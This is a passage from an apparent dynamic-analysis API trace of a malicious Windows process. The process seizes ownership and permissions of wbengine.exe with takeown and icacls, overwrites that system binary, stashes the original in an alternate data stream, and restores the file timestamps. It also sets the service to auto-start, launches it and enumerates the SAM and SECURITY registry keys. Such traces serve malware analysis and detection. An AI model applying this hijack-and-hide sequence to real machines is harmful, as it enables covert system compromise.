out: lpMultiByteStr="C:\\Windows\\system32\\wbengine.exe", lpUsedDefaultChar=0x0) returned 32 [0220.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0220.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0220.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0220.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0220.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0220.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0220.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0220.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0220.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0220.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0220.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0220.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0220.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0220.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0220.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0220.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0220.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0220.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0220.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0220.853] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbengine.exe", cbData=0x21 | out: lpData="C:\\Windows\\system32\\wbengine.exe") returned 0x0 [0220.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0220.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0220.853] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x2) returned 0x8038a0 [0220.904] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0220.921] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0220.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0220.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0220.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0220.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0220.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0220.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0220.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.922] RegCloseKey (hKey=0x148) returned 0x0 [0220.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0220.922] RegCloseKey (hKey=0x150) returned 0x0 [0220.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0220.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0220.922] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb68b348a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16f400)) returned 1 [0220.922] CreateFileW (lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0220.923] GetLastError () returned 0x5 [0220.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0220.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0220.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0220.923] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\wbengine.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\wbengine.exe", lpProcessInformation=0x36f4a4*(hProcess=0x148, hThread=0x150, dwProcessId=0x868, dwThreadId=0x86c)) returned 1 [0220.926] NtClose (Handle=0x150) returned 0x0 [0220.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0220.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0220.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0220.926] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x2710) returned 0x0 [0221.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0221.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0221.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0221.460] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\wbengine.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\wbengine.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x14c, hThread=0x150, dwProcessId=0x880, dwThreadId=0x884)) returned 1 [0221.464] NtClose (Handle=0x150) returned 0x0 [0221.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0221.464] NtClose (Handle=0x148) returned 0x0 [0221.464] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x2710) returned 0x0 [0221.684] NtClose (Handle=0x14c) returned 0x0 [0221.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0221.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0221.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0221.684] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb68b348a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16f400)) returned 1 [0221.684] CreateFileW (lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0221.684] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0221.684] GetFileSize (in: hFile=0x14c, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x16f400 [0221.684] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0221.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x16f400) returned 0x2bf0020 [0221.685] ReadFile (in: hFile=0x14c, lpBuffer=0x2bf0020, nNumberOfBytesToRead=0x16f400, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2bf0020*, lpNumberOfBytesRead=0x36f53c*=0x16f400, lpOverlapped=0x0) returned 1 [0221.739] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x16f400) returned 0x2d60020 [0221.777] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0221.777] WriteFile (in: hFile=0x14c, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0221.779] SetEndOfFile (hFile=0x14c) returned 1 [0221.789] GetFileTime (in: hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xb68b348a, dwHighDateTime=0x1cb892b)) returned 1 [0221.789] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0221.789] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0221.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0221.789] NtClose (Handle=0x14c) returned 0x0 [0221.789] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbengine.exe:0" (normalized: "c:\\windows\\system32\\wbengine.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x248cc, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0221.789] GetLastError () returned 0x2 [0221.789] CreateFileW (lpFileName="C:\\Windows\\system32\\wbengine.exe:0" (normalized: "c:\\windows\\system32\\wbengine.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0221.790] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0221.790] WriteFile (in: hFile=0x14c, lpBuffer=0x2d60020*, nNumberOfBytesToWrite=0x16f400, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesWritten=0x36f53c*=0x16f400, lpOverlapped=0x0) returned 1 [0221.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0221.824] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0221.824] NtClose (Handle=0x14c) returned 0x0 [0221.824] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x10) returned 0x803990 [0221.826] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0223.221] CloseServiceHandle (hSCObject=0x803990) returned 1 [0223.221] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0223.221] GetLastError () returned 0x6 [0223.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0223.228] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0223.229] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0223.229] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0223.229] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x20) returned 0x8038a0 [0223.229] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x2, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x7d0)) returned 0 [0223.229] GetLastError () returned 0x41c [0223.229] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0223.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0223.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0223.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0223.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0223.230] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0223.230] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0223.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0223.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.230] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0223.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0223.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.231] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0223.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0223.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.231] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0223.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0223.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.231] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0223.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.231] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0223.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0223.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.232] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0223.232] RegCloseKey (hKey=0x80000002) returned 0x0 [0223.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0223.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0223.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0223.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0223.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0223.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f16e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0223.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.233] RtlFreeHeap (HeapHandle=0x2520000, 